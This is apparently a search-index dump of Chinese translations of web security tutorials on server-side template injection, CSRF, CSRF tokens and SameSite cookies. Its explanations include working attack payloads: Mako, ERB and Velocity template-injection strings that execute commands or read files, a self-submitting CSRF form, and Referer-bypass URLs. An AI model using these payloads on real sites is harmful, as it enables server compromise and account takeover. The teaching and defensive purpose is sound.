另一措施是仅在完全删除了潜在危险模块和功能的沙盒环境中执行用户的代码。不幸的是,对不可信的代码进行沙盒处理本身就很困难,而且容易被绕过。 最后,对于接受任意代码执行无法避免的情况,另一种补充方法是,通过在锁定的例如 Docker 容器中部署模板环境,来应用你自己的沙盒。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:5:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"Exploiting server-side template injection vulnerabilities","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"利用服务端模板注入漏洞 在本节中,我们将更仔细地了解一些典型的服务端模板注入漏洞,并演示如何利用之前归纳的方法。通过付诸实践,你可以潜在地发现和利用各种不同的服务端模板注入漏洞。 一旦发现服务端模板注入漏洞,并确定正在使用的模板引擎,成功利用该漏洞通常涉及以下过程。 阅读 模板语法 安全文档 已知的漏洞利用 探索环境 构造自定义攻击 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:0:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"阅读 除非你已经对模板引擎了如指掌,否则应该先阅读其文档。虽然这可能有点无聊,但是不要低估文档可能是有用的信息来源。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"学习基本模板语法 学习基本语法、关键函数和变量处理显然很重要。即使只是简单地学习如何在模板中嵌入本机代码块,有时也会很快导致漏洞利用。例如,一旦你知道正在使用基于 Python 的 Mako 模板引擎,实现远程代码执行可以简单到: \u003c% import os x=os.popen('id').read() %\u003e ${x} 在非沙盒环境中,实现远程代码执行并将其用于读取、编辑或删除任意文件在许多常见模板引擎中都非常简单。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"阅读安全部分 除了提供如何创建和使用模板的基础知识外,文档还可能提供某种“安全”部分。这个部分的名称会有所不同,但它通常会概括出人们应该避免使用模板进行的所有潜在危险的事情。这可能是一个非常宝贵的资源,甚至可以作为一种备忘单,为你应该寻找哪些行为,以及如何利用它们提供指南。 即使没有专门的“安全”部分,如果某个特定的内置对象或函数会带来安全风险,文档中几乎总是会出现某种警告。这个警告可能不会提供太多细节,但至少应将其标记为可以深入挖掘研究的内容。 例如,在 ERB 模板中,文档显示可以列出所有目录,然后按如下方式读取任意文件: \u003c%= Dir.entries('/') %\u003e \u003c%= File.open('/example/arbitrary-file').read %\u003e ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:2","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"查找已知的漏洞利用 利用服务端模板注入漏洞的另一个关键方面是善于查找其他在线资源。一旦你能够识别正在使用的模板引擎,你应该浏览 web 以查找其他人可能已经发现的任何漏洞。由于一些主要模板引擎的广泛使用,有时可能会发现有充分记录的漏洞利用,你可以对其进行调整以利用到自己的目标网站。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:3","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"探索 此时,你可能已经在使用文档时偶然发现了一个可行的漏洞利用。如果没有,下一步就是探索环境并尝试发现你可以访问的所有对象。 许多模板引擎公开某种类型的 self 或 environment 对象,其作用类似于包含模板引擎支持的所有对象、方法和属性的命名空间。如果存在这样的对象,则可以潜在地使用它来生成范围内的对象列表。例如,在基于 Java 的模板语言中,有时可以使用以下注入列出环境中的所有变量: ${T(java.lang.System).getenv()} 这可以作为创建一个潜在有趣对象和方法的短名单的基础,以便进一步研究。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:2:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"开发人员提供的对象 需要注意的是,网站将包含由模板提供的内置对象和由 web 开发人员提供的自定义、特定于站点的对象。你应该特别注意这些非标准对象,因为它们特别可能包含敏感信息或可利用的方法。由于这些对象可能在同一网站中的不同模板之间有所不同,请注意,你可能需要在每个不同模板的上下文中研究对象的行为,然后才能找到利用它的方法。 虽然服务端模板注入可能导致远程代码执行和服务器的完全接管,但在实践中,这并非总是可以实现。然而,仅仅排除了远程代码执行,并不一定意味着不存在其他类型的攻击。你仍然可以利用服务端模板注入漏洞进行其他高危害性攻击,例如目录遍历,以访问敏感数据。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:2:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"构造自定义攻击 到目前为止,我们主要研究了通过重用已记录的漏洞攻击或使用模板引擎中已知的漏洞来构建攻击。但是,有时你需要构建一个自定义的漏洞利用。例如,你可能会发现模板引擎在沙盒中执行模板,这会使攻击变得困难,甚至不可能。 在识别攻击点之后,如果没有明显的方法来利用漏洞,你应该继续使用传统的审计技术,检查每个函数的可利用行为。通过有条不紊地完成这一过程,你有时可以构建一个复杂的攻击,甚至能够利用于更安全的目标。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"使用对象链构造自定义攻击 如上文所述,第一步是标识你有权访问的对象和方法。有些对象可能会立即跳出来。通过结合你自己的知识和文档中提供的信息,你应该能够将你想要更彻底地挖掘的对象的短名单放在一起。 在研究对象的文档时,要特别注意这些对象允许访问哪些方法,以及它们返回哪些对象。通过深入到文档中,你可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时允许你访问最初看起来遥不可及的危险功能和敏感数据。 例如,在基于 Java 的模板引擎 Velocity 中,你可以调用 $class 访问 ClassTool 对象。研究文档表明,你可以链式使用 $class.inspect() 方法和 $class.type 属性引用任意对象。在过去,这被用来在目标系统上执行 shell 命令,如下所示: $class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"bad-stuff-here\") ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"使用开发人员提供的对象构造自定义攻击 一些模板引擎默认运行在安全、锁定的环境中,以便尽可能地降低相关风险。尽管这使得利用这些模板进行远程代码执行变得很困难,但是开发人员创建的暴露于模板的对象可以提供更进一步的攻击点。 然而,虽然通常为模板内置对象提供了大量的文档,但是网站特定的对象几乎根本就没有文档记录。因此,要想知道如何利用这些漏洞,就需要你手动调查网站的行为,以确定攻击点,并据此构建你自己的自定义攻击。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:2","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"web 安全之 CSRF","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Cross-site request forgery (CSRF) 在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:0:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"什么是 CSRF 跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:1:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF 攻击能造成什么影响 在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:2:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF 是如何工作的 要使 CSRF 攻击成为可能,必须具备三个关键条件: 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。 假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE email=wiener@normal-user.com 这个例子符合 CSRF 要求的条件: 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。 攻击者可以轻松确定执行操作所需的请求参数的值。 具备这些条件后,攻击者可以构建包含以下 HTML 的网页: \u003chtml\u003e \u003cbody\u003e \u003cform action=\"https://vulnerable-website.com/email/change\" method=\"POST\"\u003e \u003cinput type=\"hidden\" name=\"email\" value=\"pwned@evil-user.net\" /\u003e \u003c/form\u003e \u003cscript\u003e document.forms[0].submit(); \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 如果受害用户访问了攻击者的网页,将发生以下情况: 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。 注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:3:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"如何构造 CSRF 攻击 手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:4:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"如何传递 CSRF 跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。 请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示: \u003cimg src=\"https://vulnerable-website.com/email/change?email=pwned@evil-user.net\"\u003e ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:5:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"防御 CSRF 攻击 防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是: 不可预测的,具有高熵的 绑定到用户的会话中 在相关操作执行前,严格验证每种情况 可与 CSRF token 一起使用的附加防御措施是 SameSite cookies 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:6:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"常见的 CSRF 漏洞 最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。 在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token : POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE\u0026email=wiener@normal-user.com 这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 的验证依赖于请求方法 某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。 在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击: GET /email/change?email=pwned@evil-user.net HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:1","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 的验证依赖于 token 是否存在 某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。 在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm email=pwned@evil-user.net ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:2","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 未绑定到用户会话 有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。 在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:3","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 被绑定到非会话 cookie 在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY\u0026email=wiener@normal-user.com 这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。 注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:4","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 仅要求与 cookie 中的相同 在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa\u0026email=wiener@normal-user.com 在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:5","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"基于 Referer 的 CSRF 防御 除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。 注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Referer 的验证依赖于其是否存在 某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。 在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记: \u003cmeta name=\"referrer\" content=\"never\"\u003e ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:1","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Referer 的验证可以被规避 某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置: http://attacker-website.com/csrf-attack?vulnerable-website.com 如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域: http://vulnerable-website.com.attacker-website.com/csrf-attack ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:2","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF tokens","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"CSRF tokens 在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:0:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"什么是 CSRF token CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。 由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:1:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"CSRF token 应该如何生成 CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。 您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。 如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:2:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"如何传输 CSRF token CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含: \u003cinput type=\"hidden\" name=\"csrf-token\" value=\"CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz\" /\u003e 为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。 另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串: 记录在客户端和服务器端的各个位置; 容易在 HTTP Referer 头中传输给第三方; 可以在用户的浏览器中显示在屏幕上。 某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。 CSRF token 不应在 cookie 中传输。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:3:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"如何验证 CSRF token 当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:4:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"SameSite cookies","date":"2021-03-09","objectID":"/translation/web-security/csrf/samesite-cookies/","tags":[],"title":"SameSite cookies","uri":"/translation/web-security/csrf/samesite-cookies/"},{"categories":["web security"],"content":"SameSite cookies 某些网站使用 SameSite cookies 防御 CSRF 攻击。 这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。 这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如: SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict; SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax; 如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。 如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件: 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。 使用 SameSite 的 Lax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项: 有些应用程序确实使用 GET 请求实现敏感操作。 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。 出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/samesite-cookies/:0:0","tags":[],"title":"SameSite cookies","uri":"/translation/web-security/csrf/samesite-cookies/"},{"categories":["web security"],"content":"XSS vs CSRF","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"XSS vs CSRF 在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:0:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"XSS 和 CSRF 之间有啥区别 跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。 跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。 XSS 漏洞的后果通常比 CSRF 漏洞更严重: CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。 CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:1:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"CSRF token 能否防御 XSS 攻击 一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下: https://insecure-website.com/status?message=\u003cscript\u003e/*+Bad+stuff+here...+*/\u003c/script\u003e 现在,假设漏洞函数包含一个 CSRF token : https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz\u0026message=\u003cscript\u003e/*+Bad+stuff+here...+*/\u003c/script\u003e 如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。 这里有一些重要的注意事项: 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。 CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:2:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"web 安全之 DOM-based vulnerabilities","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM-based vulnerabilities 在本节中,我们将描述什么是 DOM 